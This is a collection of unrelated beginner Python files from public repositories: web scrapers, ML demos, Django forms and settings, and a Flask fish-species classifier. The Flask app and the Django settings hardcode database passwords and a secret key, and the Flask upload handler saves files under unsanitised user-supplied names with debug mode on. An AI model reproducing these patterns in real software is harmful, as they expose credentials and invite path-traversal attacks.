response.xpath('//ul[contains(@class, \"page\")]'): \n for job in page.xpath('.//div[@class=\"mdc-card\"]'):\n item = {}\n \n item['position'] = job.xpath('.//div[contains(@class, \"card-title\")]/span/text()').getall()\n item['company_name'] = job.xpath('.//div[@class=\"right\"]/a/@title').get()\n item['location'] = job.css('div.card-info.card__subtitle::text').get().strip().replace(';', '')\n item['number_of_employees'] = job.xpath('.//div[contains(@class, \"card__subtitle flex wrap more-details\")]/span/text()').getall()\n\n regex = r\"\\d{4}\"\n number_of_employees = job.xpath('.//div[contains(@class, \"card__subtitle flex wrap more-details\")]/span/text()').getall()\n year = re.search(regex, number_of_employees[-1]).group(0) if len(number_of_employees) > 1 else None\n item['established'] = year\n \n item['todays_date'] = date_string\n\n item['date_posted'] = job.css('div.card-date::text').get().strip()\n #if 'днес' in item['date_posted']:\n #todays_date = datetime.now().strftime(\"%Y-%m-%d\")\n # elif 'вчера' in item[\n #else:\n #todays_date = item[\"date_posted\"]\n #item['date_posted'] = todays_date\n \n\n item['job_url'] = job.css('div.left a').attrib['href']\n\n item['work_from_home'] = job.xpath('.//div[contains(@class, \"card-info card__subtitle\")]/span/text()').getall()\n if \" Възможност\" in item['work_from_home'] or \" Дистанционно\" in item['work_from_home'] or \" Дистанционна работа\" in item['work_from_home']:\n item['work_from_home'] = [\"Home Office Possible\" if x == \" Възможност\" or x == \" Дистанционна работа\" else \"Online Interview\" for x in item['work_from_home']]\n \n item['skills_list'] = job.xpath('.//div[contains(@class,\"skill\")]//img/@alt').extract()\n \n \n skills_no_img = job.xpath('.//div[contains(@class, \"skill-not-img\")]/text()').extract()\n if skills_no_img:\n item['skills_no_img'] = skills_no_img\n else:\n item['skills_no_img'] = \"\"\n\n yield item\n\n \n","repo_name":"dilyanyordanv08/Jobs.bg_search_scrapy","sub_path":"project/jobscraper/jobscraper/spiders/scraper_name.py","file_name":"scraper_name.py","file_ext":"py","file_size_in_byte":3421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"22840250033","text":"from setuptools import setup, find_packages\n\nwith open(\"README.md\") as fh:\n LONG_DESCRITPION = fh.read()\n\nwith open('requirements.txt') as fi:\n REQUIRE = [\n line.strip() for line in fi.readlines()\n if not line.startswith('#')\n ]\n\nwith open(\"version\") as fh:\n VERSION = fh.read().strip()\n\nsetup(\n name='gaga',\n author=\"Pimin Konstantin Kefaloukos\",\n author_email='skipperkongen@gmail.com',\n url=\"https://github.com/skipperkongen/gaga\",\n version=VERSION,\n description=\"A genetic algorithm library.\",\n long_description=LONG_DESCRITPION,\n long_description_content_type=\"text/markdown\",\n license='unlicence',\n install_requires=REQUIRE,\n data_files=[('',['version', 'requirements.txt'])],\n extras_require={'test': ['pytest', 'flake8', 'pytest-mock']},\n packages=find_packages('src'),\n package_dir={'': 'src'}\n)\n","repo_name":"skipperkongen/genetic-algorithm","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"73066579919","text":"import torch\nimport torch.nn as nn\n\nbatch_size = 1\nseq_len = 3\ninput_size = 4\nhidden_size = 2\nnum_layers = 5\n\ncell = nn.RNN(input_size=input_size,hidden_size=hidden_size,num_layers=num_layers)\n\ndataset = torch.randn(seq_len, batch_size, input_size)\nhidden = torch.zeros(num_layers,batch_size, hidden_size)\n\nout,hidden = cell(dataset,hidden)\n\nprint(\"Output Size:\",out.shape)\nprint(\"Output:\",out)\nprint(\"Hidden Size:\",hidden.shape)\nprint(\"Hidden:\",hidden)\n","repo_name":"kks1234/Machine_learning","sub_path":"00-TorchProject/10Base_RNN/Base_RNN.py","file_name":"Base_RNN.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"70742607440","text":"from stages.stage import Stage\n\nimport nltk\nimport multiprocessing\nimport pickle\nimport os\nfrom nltk.stem import PorterStemmer\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nfrom progressbar import ProgressBar\n\nnltk.download('punkt')\n\n'''\nCreate the datastructures required for seq2seq model and save as pickles\nInput: DataFrame with inputs and targets for training. \nOutput: Pickles with datastructures created, saved to file.\n'''\nclass CreateSeq2SeqDataStructures(Stage):\n def __init__(self, configs):\n self.name = configs['name']\n \n # Remove these characters from all contexts\n self.remove = list('.,~/()%:`\\'\\\"#?')\n self.remove.append('<ref>')\n self.remove.append('</ref>')\n self.remove.append('\\t')\n \n # Remove terms that contain these characters\n self.ban_syms = ['\\\\', '$', '{', '}', '&', '+', '=', '_', '^', '*', '[', ']', '|', '<', '>', '@']\n \n def remove_characters_from_context(self, op_wordlist):\n for r in self.remove:\n op_wordlist = [token.replace(r, '') for token in op_wordlist]\n return op_wordlist\n \n def drop_tokens(self, op_wordlist):\n reduced_wordlist = [v for v in op_wordlist if ((not v.isdigit()) and len(v) >= 2)]\n\n for sym in self.ban_syms:\n reduced_wordlist = [v for v in op_wordlist if sym not in v]\n \n return reduced_wordlist\n\n def apply_length_threshold_for_op_sequences(self, threshold, ip_wordlists, op_wordlists):\n # Select a threshold value on the length of input sequence\n ip_seq_lengths = [len(eqn) for eqn in ip_wordlists]\n op_seq_lengths = [len(eqn) for eqn in op_wordlists]\n\n shorter_indices = [i for i, conlen in enumerate(op_seq_lengths) if ((conlen < threshold) and (len(op_wordlists[i]) > 1) and not (op_wordlists[i][0] == 'nan'))]\n print ('Selecting ' + str(len(shorter_indices)) + ' input-output pairs based on ip length threshold')\n\n sh_ip_wordlists = [ip_wordlists[i] for i in shorter_indices]\n sh_op_wordlists = [op_wordlists[i] for i in shorter_indices]\n\n ip_seq_lengths = [ip_seq_lengths[i] for i in shorter_indices]\n op_seq_lengths = [op_seq_lengths[i] for i in shorter_indices]\n\n # Some checks and information\n print ('Check if feature counts = target counts: ' + str(len (sh_op_wordlists) == len (sh_ip_wordlists)))\n\n return sh_ip_wordlists, sh_op_wordlists, ip_seq_lengths, op_seq_lengths\n \n def build_vocabulary_datastructures_eqn(self, equations):\n var_set = set()\n int2var = {}\n var2int = {}\n \n for wl in equations:\n [var_set.add(w) for w in wl]\n \n for i, var in enumerate(list(var_set)):\n int2var[i] = var\n var2int[var] = i\n \n return var_set, int2var, var2int\n \n # For text: Get vocabulary, int2word and word2int\n def build_vocabulary_datastructures_con(self, wordLists):\n words = set()\n freq = {}\n int2word = {}\n word2int = {}\n \n for w1 in wordLists:\n for w in w1:\n if w in freq:\n freq[w] = freq[w] + 1\n else:\n freq[w] = 1\n \n for wl in wordLists:\n [words.add(w.lower()) for w in wl]\n \n for i, word in enumerate(list(words)):\n int2word[i] = word\n word2int[word] = i\n \n return words, int2word, word2int, freq\n \n def save_as_pickle(self, datastructure, picklepath):\n pickle.dump(datastructure, open(picklepath, 'wb'))\n\n def process_op_wordlists(self, op_wordlists):\n pool = multiprocessing.Pool()\n op_wordlists = pool.map(self.remove_characters_from_context, op_wordlists)\n pool = multiprocessing.Pool()\n op_wordlists = pool.map(self.drop_tokens, op_wordlists)\n\n return op_wordlists\n\n def run(self, df):\n df['context'] = self.process_op_wordlists(df['context'])\n sh_ip_wordLists, sh_op_wordLists, ip_seq_lengths, op_seq_lengths = self.apply_length_threshold_for_op_sequences(100, df['equation'], df['context'])\n \n ip_vocab, ip_int2word, ip_word2int = self.build_vocabulary_datastructures_eqn(df['equation'])\n op_vocab, op_int2word, op_word2int, freq = self.build_vocabulary_datastructures_con(df['context'])\n\n self.save_as_pickle(ip_vocab, os.path.join('~/Documents/baseline1/output/', 'ip_vocab'))\n self.save_as_pickle(ip_int2word, os.path.join('~/Documents/baseline1/output/', 'ip_int2word'))\n self.save_as_pickle(ip_word2int, os.path.join('~/Documents/baseline1/output/', 'ip_word2int'))\n self.save_as_pickle(ip_seq_lengths, os.path.join('~/Documents/baseline1/output/', 'ip_seq_lengths'))\n\n self.save_as_pickle(op_vocab, os.path.join('~/Documents/baseline1/output/', 'op_vocab'))\n self.save_as_pickle(op_int2word, os.path.join('~/Documents/baseline1/output/', 'op_int2word'))\n self.save_as_pickle(op_word2int, os.path.join('~/Documents/baseline1/output/', 'op_word2int'))\n self.save_as_pickle(op_seq_lengths, os.path.join('~/Documents/baseline1/output/', 'op_seq_lengths'))\n \n self.save_as_pickle(freq, os.path.join('~/Documents/baseline1/output/', 'freq'))\n self.save_as_pickle(ip_seq_lengths, os.path.join('~/Documents/baseline1/output/', 'sh_ip_seq_lengths'))\n self.save_as_pickle(op_seq_lengths, os.path.join('~/Documents/baseline1/output/', 'sh_op_seq_lengths'))\n\n return df\n\n","repo_name":"ChengSashankh/fyp-expts","sub_path":"expts/baseline1/stages/create_seq2seq_datastructures.py","file_name":"create_seq2seq_datastructures.py","file_ext":"py","file_size_in_byte":5188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"40229179372","text":"from django import forms\nfrom .models import Event, Profile, Attendee\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User\n\n\n#create forms here\n\nclass EventForm(forms.ModelForm):\n class Meta:\n model = Event\n fields = ['title', 'image', 'datetime', 'street', 'area', 'city',\n 'desc', 'tags', 'ticket', 'facebook', 'instagram', 'discord']\n widgets = {'title': forms.TextInput(attrs={'class': 'form-input', 'placeholder': 'Title'}),\n 'datetime': forms.DateTimeInput(attrs={'type': 'datetime-local'}),\n 'street': forms.TextInput(attrs={'placeholder': 'Address'}),\n 'area': forms.TextInput(attrs={'placeholder': 'Area'}),\n 'city': forms.TextInput(attrs={'placeholder': 'City'}),\n 'desc': forms.Textarea(attrs={'placeholder': 'Description'}),\n 'ticket': forms.URLInput(attrs={'placeholder': 'Ticket Link'}),\n 'facebook': forms.URLInput(attrs={'placeholder': 'Facebook Link'}),\n 'instagram': forms.URLInput(attrs={'placeholder': 'Instagram Link'}),\n 'discord': forms.URLInput(attrs={'placeholder': 'Discord Link'}),}\n\nclass AttendeeForm(forms.ModelForm):\n class Meta:\n model = Attendee\n fields = []\n\nclass CreateUserForm(UserCreationForm):\n email = forms.EmailField()\n\n def __init__(self, *args, **kwargs):\n super(CreateUserForm, self).__init__(*args, **kwargs)\n\n for fieldname in ['username', 'password1', 'password2']:\n self.fields[fieldname].help_text = None\n\n def clean_email(self):\n data = self.cleaned_data['email']\n if \"manchester.ac.uk\" not in data:\n raise forms.ValidationError(\"Must be a Manchester email address\")\n return data\n\n class Meta:\n model = User\n fields = ['username', 'email', 'password1', 'password2']\n\n\n# To update username and email\nclass UserUpdateForm(forms.ModelForm):\n email = forms.EmailField(label=\"e-mail\")\n\n def __init__(self, *args, **kwargs):\n super(UserUpdateForm, self).__init__(*args, **kwargs)\n\n for fieldname in ['username']:\n self.fields[fieldname].help_text = None\n\n class Meta:\n model = User\n fields = ['username', 'email']\n\n# to upload profile picture\nclass ProfileUpdateForm(forms.ModelForm):\n class Meta:\n model = Profile\n fields = ['img']\n","repo_name":"Delta158/social","sub_path":"social/core/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"12412403077","text":"\"\"\"\nGiven an array of size n, find the most common and the least common elements.\nThe most common element is the element that appears more than n // 2 times.\nThe least common element is the element that appears fewer than other.\n\nYou may assume that the array is non-empty and the most common element\nalways exist in the array.\n\nExample 1:\n\nInput: [3,2,3]\nOutput: 3, 2\n\nExample 2:\n\nInput: [2,2,1,1,1,2,2]\nOutput: 2, 1\n\n\"\"\"\nfrom typing import List, Tuple\n\ndef major_and_minor_elem(inp: List) -> Tuple[int, int]:\n counts = {}\n\n for num in inp:\n counts[num] = counts.get(num, 0) + 1\n\n major = max(counts, key=counts.get)\n minor = min(counts, key=counts.get)\n print(counts)\n print(major)\n print(minor)\n return major, minor\n","repo_name":"Hythloday1907/PythonEPAM","sub_path":"Week_2_hw1/hw1_pi.py","file_name":"hw1_pi.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"16210058925","text":"\r\nimport os\r\nfrom subprocess import check_call\r\nfrom flask import Flask,render_template,request,send_from_directory\r\nimport mysql.connector\r\nimport tensorflow as tf\r\nimport cv2\r\nfrom PIL import Image, ImageOps\r\nimport numpy as np\r\n\r\n\r\n\r\n\r\n\r\napp = Flask(__name__)\r\n\r\nmydatabase = mysql.connector.connect(\r\n host = 'localhost',\r\n user = 'root',\r\n passwd = '12345678', \r\n database = 'newbetta')\r\n\r\nmycursor = mydatabase.cursor()\r\n\r\ndir_path = os.path.dirname(os.path.realpath(__file__))\r\nUPLOAD_FOLDER = \"uploads\"\r\nSTATIC_FOLDER = \"static\"\r\n\r\n# Load model\r\ncnn_model = tf.keras.models.load_model(STATIC_FOLDER + \"/models/\" + \"my_model_afterver3.h5\")\r\n\r\nIMAGE_SIZE = 128\r\n\r\n# Preprocess an image\r\ndef preprocess_image(image):\r\n image = tf.image.decode_jpeg(image, channels=3)\r\n image = tf.image.resize(image, [IMAGE_SIZE, IMAGE_SIZE])\r\n image /= 255.0 # normalize to [0,1] range\r\n\r\n return image\r\n\r\n\r\n# Read the image from path and preprocess\r\ndef load_and_preprocess_image(path):\r\n image = tf.io.read_file(path)\r\n\r\n return preprocess_image(image)\r\n\r\n\r\n# Predict & classify image\r\ndef classify(model, image_path):\r\n\r\n preprocessed_imgage = load_and_preprocess_image(image_path)\r\n preprocessed_imgage = tf.reshape(\r\n preprocessed_imgage, (1, IMAGE_SIZE, IMAGE_SIZE, 3)\r\n )\r\n\r\n prob = cnn_model.predict(preprocessed_imgage)\r\n\r\n label = ['Butterfly Betta','Crowntail Betta','Double Tail Betta','Dumbo Betta','Galaxy Betta','Giant Betta','Halfmoon Betta','Imbellis Betta','No Betta','Shotfin Splendens Betta','Smaragdina Betta','Splendens Betta']\r\n result = label[np.argmax(prob)]\r\n\r\n if(result=='Butterfly Betta') :\r\n namethai = 'ปลากัดลายผีเสื้อ'\r\n linktype = 'type9.html';\r\n elif(result=='Crowntail Betta') :\r\n namethai = 'ปลากัดหางมงกุฏ'\r\n linktype = 'type6.html';\r\n elif(result=='Double Tail Betta') :\r\n namethai = 'ปลากัดสองหาง'\r\n linktype = 'type7.html';\r\n elif(result=='Dumbo Betta') :\r\n namethai = 'ปลากัดหูช้าง'\r\n linktype = 'type11.html';\r\n elif(result=='Galaxy Betta') :\r\n namethai = 'ปลากัดลายหินอ่อน'\r\n linktype = 'type8.html';\r\n elif(result=='Giant Betta') :\r\n namethai = 'ปลากัดยักษ์'\r\n linktype = 'type10.html';\r\n elif(result=='Halfmoon Betta') :\r\n namethai = 'ปลากัดหางพระจันทร์ครึ่งซีก'\r\n linktype = 'type5.html';\r\n elif(result=='Imbellis Betta') :\r\n namethai = 'ปลากัดป่า'\r\n linktype = 'type.html';\r\n elif(result=='No Betta') :\r\n namethai = 'ไม่ใช่ปลากัด'\r\n linktype = \"https://www.baanlaesuan.com/252571/baanlaesuan-fair/baanlaesuan-fair-2021/10-aquarium-fish\";\r\n elif(result=='Shotfin Splendens Betta') :\r\n namethai = 'ปลากัดลูกหม้อ'\r\n linktype = 'type2.html';\r\n elif(result=='Smaragdina Betta') :\r\n namethai = 'ปลากัดสังกะสี'\r\n linktype = 'type3.html';\r\n elif(result=='Splendens Betta') :\r\n namethai = 'ปลากัดจีน'\r\n linktype = 'type4.html';\r\n\r\n \r\n confidence = \"{:.2f}%\".format(100 * np.max(prob))\r\n \r\n \r\n\r\n return result, confidence ,namethai,linktype\r\n\r\n\r\n\r\n\r\n\r\n@app.route('/')\r\ndef home():\r\n return render_template(\"/home.html\")\r\n\r\n@app.route('/home.html')\r\ndef homepage():\r\n return render_template(\"/home.html\")\r\n\r\n\r\n\r\n@app.route('/type.html')\r\ndef secondpage():\r\n mycursor.execute('SELECT * FROM typebetta where id=1')\r\n data = mycursor.fetchall()\r\n return render_template('type.html', output_data = data)\r\n\r\n@app.route('/type2.html')\r\ndef secondpage2():\r\n mycursor.execute('SELECT * FROM typebetta where id=2')\r\n data2 = mycursor.fetchall()\r\n return render_template('type.html', output_data = data2)\r\n\r\n@app.route('/type3.html')\r\ndef secondpage3():\r\n mycursor.execute('SELECT * FROM typebetta where id=3')\r\n data3 = mycursor.fetchall()\r\n return render_template('type.html', output_data = data3)\r\n\r\n@app.route('/type4.html')\r\ndef secondpage4():\r\n mycursor.execute('SELECT * FROM typebetta where id=4')\r\n data4 = mycursor.fetchall()\r\n return render_template('type.html', output_data = data4)\r\n\r\n@app.route('/type5.html')\r\ndef secondpage5():\r\n mycursor.execute('SELECT * FROM typebetta where id=5')\r\n data5 = mycursor.fetchall()\r\n return render_template('type.html', output_data = data5)\r\n\r\n@app.route('/type6.html')\r\ndef secondpage6():\r\n mycursor.execute('SELECT * FROM typebetta where id=6')\r\n data6 = mycursor.fetchall()\r\n return render_template('type.html', output_data = data6)\r\n\r\n@app.route('/type7.html')\r\ndef secondpage7():\r\n mycursor.execute('SELECT * FROM typebetta where id=7')\r\n data7 = mycursor.fetchall()\r\n return render_template('type.html', output_data = data7)\r\n\r\n@app.route('/type8.html')\r\ndef secondpage8():\r\n mycursor.execute('SELECT * FROM typebetta where id=8')\r\n data8 = mycursor.fetchall()\r\n return render_template('type.html', output_data = data8)\r\n\r\n@app.route('/type9.html')\r\ndef secondpage9():\r\n mycursor.execute('SELECT * FROM typebetta where id=9')\r\n data9 = mycursor.fetchall()\r\n return render_template('type.html', output_data = data9)\r\n\r\n@app.route('/type10.html')\r\ndef secondpage10():\r\n mycursor.execute('SELECT * FROM typebetta where id=10')\r\n data10 = mycursor.fetchall()\r\n return render_template('type.html', output_data = data10)\r\n\r\n@app.route('/type11.html')\r\ndef secondpage11():\r\n mycursor.execute('SELECT * FROM typebetta where id=11')\r\n data11 = mycursor.fetchall()\r\n return render_template('type.html', output_data = data11)\r\n\r\n@app.route('/care.html')\r\ndef thirdpage():\r\n mycursor.execute('SELECT * FROM newcare where id=1')\r\n datacare1 = mycursor.fetchall()\r\n return render_template('care.html', output_data = datacare1)\r\n\r\n@app.route('/care2.html')\r\ndef thirdpage2():\r\n mycursor.execute('SELECT * FROM newcare where id=2')\r\n datacare2 = mycursor.fetchall()\r\n return render_template('care.html', output_data = datacare2)\r\n\r\n@app.route('/care3.html')\r\ndef thirdpage3():\r\n mycursor.execute('SELECT * FROM newcare where id=3')\r\n datacare3 = mycursor.fetchall()\r\n return render_template('care.html', output_data = datacare3)\r\n\r\n@app.route('/care4.html')\r\ndef thirdpage4():\r\n mycursor.execute('SELECT * FROM newcare where id=4')\r\n datacare4 = mycursor.fetchall()\r\n return render_template('care.html', output_data = datacare4)\r\n\r\n@app.route('/care5.html')\r\ndef thirdpage5():\r\n mycursor.execute('SELECT * FROM newcare where id=5')\r\n datacare5 = mycursor.fetchall()\r\n return render_template('care.html', output_data = datacare5)\r\n\r\n@app.route('/newcare.html')\r\ndef thirdpagenew():\r\n mycursor.execute('SELECT * FROM newcare where id=1')\r\n datacarenew = mycursor.fetchall()\r\n return render_template('care.html', output_data = datacarenew)\r\n\r\n@app.route('/disease.html')\r\ndef fourpage():\r\n mycursor.execute('SELECT * FROM disease where id=1')\r\n datadisease1 = mycursor.fetchall()\r\n return render_template('disease.html', output_data = datadisease1)\r\n\r\n\r\n\r\n@app.route('/disease2.html')\r\ndef fourpage2():\r\n mycursor.execute('SELECT * FROM disease where id=2')\r\n datadisease2 = mycursor.fetchall()\r\n return render_template('disease.html', output_data = datadisease2)\r\n\r\n@app.route('/disease3.html')\r\ndef fourpage3():\r\n mycursor.execute('SELECT * FROM disease where id=3')\r\n datadisease3 = mycursor.fetchall()\r\n return render_template('disease.html', output_data = datadisease3)\r\n\r\n@app.route('/disease4.html')\r\ndef fourpage4():\r\n mycursor.execute('SELECT * FROM disease where id=4')\r\n datadisease4 = mycursor.fetchall()\r\n return render_template('disease.html', output_data = datadisease4)\r\n\r\n@app.route('/disease5.html')\r\ndef fourpage5():\r\n mycursor.execute('SELECT * FROM disease where id=5')\r\n datadisease5 = mycursor.fetchall()\r\n return render_template('disease.html', output_data = datadisease5)\r\n\r\n@app.route('/classification.html')\r\ndef classificationpage():\r\n return render_template('classification.html')\r\n\r\n\r\n\r\n\r\n@app.route(\"/classify\", methods=[\"POST\", \"GET\"])\r\ndef upload_file():\r\n\r\n if request.method == \"GET\":\r\n return render_template(\"home.html\")\r\n\r\n else:\r\n \r\n file = request.files[\"image\"]\r\n upload_image_path = os.path.join(UPLOAD_FOLDER, file.filename)\r\n print(upload_image_path)\r\n file.save(upload_image_path)\r\n\r\n result, confidence,namethai,linktype = classify(cnn_model, upload_image_path)\r\n\r\n\r\n return render_template(\r\n \"classification.html\", image_file_name=file.filename, label=result, prob=confidence,name=namethai,link=linktype\r\n )\r\n\r\n\r\n@app.route(\"/classify/<filename>\")\r\ndef send_file(filename):\r\n return send_from_directory(UPLOAD_FOLDER, filename)\r\n \r\n\r\n\r\n\r\n \r\nif __name__ == '__main__':\r\n app.run(debug=True)","repo_name":"rynlapat/bettaweb","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":9110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"42385335334","text":"from PIL import ImageFont, Image, ImageDraw\nimport os\n\nwordList = []\nttfList = []\n\nwith open(\"./3000chineseword_filter.txt\", \"r\", encoding=\"utf-8\") as f:\n for line in f.readlines():\n index, char = line.strip().split(\",\")\n wordList.append(char)\n\nfor name in os.listdir(\"./ttf\"):\n if os.path.isfile(\"./ttf/{}\".format(name)):\n ttfList.append(name)\nprint(ttfList)\n\n#for i in range(len(wordList)):\nfor i in range(10):\n if not os.path.exists(\"./dataset/{}\".format(str(i).rjust(4, '0'))):\n os.makedirs(\"./dataset/{}\".format(str(i).rjust(4, '0')))\n\n tempX = 0\n for j in range(len(ttfList)):\n ttf = \"./ttf/{}\".format(ttfList[j])\n text_size = 32\n imageSize = 64\n\n font = ImageFont.truetype(ttf, text_size)\n width, height = font.getsize(wordList[i])\n canvas = Image.new('RGB', [imageSize, imageSize], (255, 255, 255))\n draw = ImageDraw.Draw(canvas)\n draw.text(((imageSize - width) / 2, (imageSize - height) / 2), wordList[i], font=font, fill=\"#000000\")\n filename = \"./dataset/{}/{}.jpeg\".format(str(i).rjust(4, '0'), str(tempX).rjust(2,\"0\"))\n # filename = \"./dataset/{}_{}.jpg\".format(wordList[i], ttfList[j])\n canvas.save(filename)\n tempX += 1\n","repo_name":"muskaleung/Ambigram-Project","sub_path":"DatasetGenerator.py","file_name":"DatasetGenerator.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"21923024433","text":"import requests # request framework are use for extract data from url\n\nfrom bs4 import BeautifulSoup # beautifulsoup frame work are used for cleaning html tags \n\nimport pandas as pd # pandas is library that are used to represent data in a effective way like tabular format\nfrom pandas import ExcelWriter # excel writer are used for converting data in excel file format\n\nreview_dict = {'name':[], 'date':[], 'rating':[], 'review':[]} # initializing a dictionary\n\nfor page in range(0,23): # describe a page range\n url = 'https://www.metacritic.com/game/switch/pokemon-sword/user-reviews?page='+str(page) # extracting data save in url\n user_agent = {'User-agent': 'Mozilla/5.0'}\n response = requests.get(url, headers = user_agent) # I use requests to get data from url \n \n soup = BeautifulSoup(response.text, 'html.parser') # Using beautifulSoup for cleaning html tag\n \n for review in soup.find_all('div', class_='review_content'): # using for loop to get reviews content using div and class \n if review.find('div', class_='name') == None: # then initialise if condition if class'name' is none\n break # when class is none it will break and come out from the loop\n review_dict['name'].append(review.find('div', class_='name').find('a').text)# then we finding name using div and class\n review_dict['date'].append(review.find('div', class_='date').text)# then finding data using class name :date\n review_dict['rating'].append(review.find('div', class_='review_grade').find_all('div')[0].text)# then find rating\n if review.find('span', class_='blurb blurb_expanded'): # then finding the actual reviews from span and class\n review_dict['review'].append(review.find('span', class_='blurb blurb_expanded').text)# then append in review_dict\n else:\n review_dict['review'].append(review.find('div', class_='review_body').find('span').text)# when review not find in \n # class then we find review in span\n\ndf = pd.DataFrame(review_dict) # then making a dataframe to provide data in a structure format \nk=ExcelWriter(\"C:/Users/Dell/Desktop/reviews.xlsx\") # using excel writer to save data in excel file\ndf.to_excel(k,'sheet',index=False) \nk.save()\n","repo_name":"Devgupta0/Dev-gupta","sub_path":"reviews.py","file_name":"reviews.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"39157945962","text":"from coldtype.renderer import Renderer\n\n\"\"\"\n`python examples/misc/no_command_line.py`\n\nAn example of how to call the Coldtype renderer directly,\nwithout the need to use the command line at all\n(mostly useful if you’re batch-rendering fully written animations)\n\nThat said, if you take out the \"-a\" arg, this should run exactly\nlike the normal coldtype viewer — potentially useful for a situation\nin which it’s difficult to access the `coldtype` bin command, since\nyou could run this with just the standard `python` bin command\n\"\"\"\n\n_, parser = Renderer.Argparser()\nparsed = parser.parse_args([\"examples/animations/simplevarfont.py\", \"-a\"])\nRenderer(parsed).main()","repo_name":"coldtype/coldtype","sub_path":"examples/misc/no_command_line.py","file_name":"no_command_line.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":261,"dataset":"github-code","pt":"29"} +{"seq_id":"6363739013","text":"import configparser\n\ndef config(f):\n file = 'config.ini'\n con = configparser.ConfigParser()\n\n# 读取文件\n con.read(file, encoding='utf_16')\n\n# 获取所有section\n sections = con.sections()\n# ['url', 'email']\n\n\n# 获取特定section\n items = con.items('参数') \t# 返回结果为元组\n# [('baidu','http://www.baidu.com'),('port', '80')] \t# 数字也默认读取为字符串\n\n# 可以通过dict方法转换为字典\n items = dict(items)\n s=items[f]\n return s\nc=config('hang1')\nprint(c)\n","repo_name":"kuangtester/tools","sub_path":"数据比对/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"29456140943","text":"import math\r\nimport numpy as np\r\na = int(input(\"a = \"))\r\nb = int(input(\"b = \"))\r\nc = int(input(\"c = \"))\r\nS = float(0)\r\nh = float(math.pi/10.)\r\n\r\nfor i in np.arange(-math.pi,math.pi+h,h):\r\n\r\n S += (math.log(math.pow(a,2*math.sin(i)))+math.exp(2*i))/(math.atan(i)+b)+c\r\nprint(round(S,2))","repo_name":"egamberdiotaxanov/algo-masalalari-1-100","sub_path":"algo90.py","file_name":"algo90.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"19129419154","text":"# Django settings for Chat_App project.\n\n# let's get the path automatically, no manual settings... yay!\nimport os.path\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\nDEBUG = True\nTEMPLATE_DEBUG = DEBUG\n\nADMINS = (\n # ('Your Name', 'your_email@domain.com'),\n)\n\nMANAGERS = ADMINS\n\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# although not all choices may be available on all operating systems.\n# If running in a Windows environment this must be set to the same as your\n# system time zone.\nTIME_ZONE = 'America/Chicago'\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'en-us'\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\n# Absolute path to the directory that holds media.\n# Example: \"/home/media/media.lawrence.com/\"\nMEDIA_ROOT = os.path.join(BASE_DIR, 'static')\n\n# URL that handles the media served from MEDIA_ROOT. Make sure to use a\n# trailing slash if there is a path component (optional in other cases).\n# Examples: \"http://media.lawrence.com\", \"http://example.com/media/\"\n#MEDIA_URL = '/static/'\n\n# URL prefix for admin media -- CSS, JavaScript and images. Make sure to use a\n# trailing slash.\n# Examples: \"http://foo.com/media/\", \"/media/\".\nADMIN_MEDIA_PREFIX = '/media/'\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = '(yol(v9-(3oeeqfsoayu)aa6wi!8yiunrgae!e6rn5ga6#a$)n'\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.load_template_source',\n 'django.template.loaders.app_directories.load_template_source',\n# 'django.template.loaders.eggs.load_template_source',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n)\n\nROOT_URLCONF = 'urls'\n\nTEMPLATE_DIRS = (\n # Put strings here, like \"/home/html/django_templates\" or \"C:/www/django/templates\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n os.path.join(BASE_DIR, 'templates'),\n)\n\nINSTALLED_APPS = (\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'documents',\n 'chat',\n)\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.mysql',\n 'NAME': 'chat_db',\n 'USER': 'root',\n 'PASSWORD': 'root',\n 'HOST': 'localhost', # Or an IP Address that your DB is hosted on\n 'PORT': '3306',\n }\n}\n\nSTATIC_URL = 